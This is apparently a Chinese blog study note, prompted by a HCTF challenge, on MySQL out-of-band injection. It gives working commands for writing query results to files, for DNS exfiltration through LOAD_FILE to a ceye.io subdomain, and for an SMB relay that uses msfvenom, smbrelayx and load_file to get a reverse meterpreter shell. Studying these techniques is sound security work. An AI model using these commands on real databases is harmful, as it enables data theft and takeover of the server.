0%

一道题目引发的MySQL-Out-of-Band学习笔记

0x00 前言

研究这个攻击方式主要是因为在近期的HCTF上遇到了这个漏洞点,之前一直没有什么时间来了解mysql,所以遇到的时候有点懵,不过题目考点只是OOB的一部分,所以花点时间把oob了解的深刻一点。

##0x01 什么是 Out-of-Band 注入
讲得通俗一点就是通过其他方式来提取mysql数据,也就是带外攻击,比如可以通过DNS解析,HHTP,文件系统等

0x02 MySQL的限制

oob攻击主要是针对MySQL 5.5.53以及之前的版本,在MySQL中存在一个全局变量:secure_file_priv,主要是用来限制数据写入和写出的,在5.5.53版本之前,变量的默认value是空,例如本次我测试的环境:

而5.5.53版本后secure_file_priv变量默认值为NULL,即我们不可以利用该变量进行数据写入写出操作,但有时有需要用到写入写出功能的时候,可以将secure_file_priv变量设置为空,例如,在my.ini中直接插入一条:secure_file_priv= 即可。

0x03 利用INTO OUTFILE等语句写出数据

利用INTO OUTFILE等语句可以将查询信息写出到文件中
windows下测试:

1
2
select @@version into outfile 'H:\\test.txt';
select @@version into dumpfile 'H:\\test.txt';

0x04 DNS解析获取数据

我们使用load_file()语句将数据信息导出到外部服务器上,例如DNS解析器,但mysql尝试解析DNF时,我们就可以在DNS解析式上获取到查询数据信息,这里贴一个DNS解析的API:http://ceye.io/records/dns
查询语句例如:

1
SELECT LOAD_FILE(CONCAT('\\\\',version(),'.mysql.ip.port.8cs2vs.ceye.io\\abc'));

我们可以在DNS接口处看到成功获取到查询数据

0x05 SMB中继攻击

这个攻击方式主要是利用mysql服务器通过load_file、into outfile/dumpfile、load data infile等函数向主机连接通信的时候(描述不一定准确),使用smbrelayx等工具将反向shell上传到主机中。smbrelayx工具下载地址:https://github.com/coresecurity/impacket
利用kaili生成反向连接shell(win7环境):

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.5 LPORT=443  -f exe > win64.exe

启用smbrelayx.py

1
smbrelayx.py -h [攻击主机ip] -e ./win64.exe

Metasploit上启用multi/handler模块,设置好payload,lhost,lport,在MySQL服务器上执行:

1
2
select load_file('\\\\172.20.10.5\\test');
......

即可发起smb中继攻击,从而反向Getshell,由于MySQL版本的原因,此攻击利用率较低,不过也不乏有少数管理员将secure_file_priv变量开启利用,或者MySQL没有及时更新升级。

0x06 参考文章

Osanda Malith Jayathissa

文章只用于个人学习记录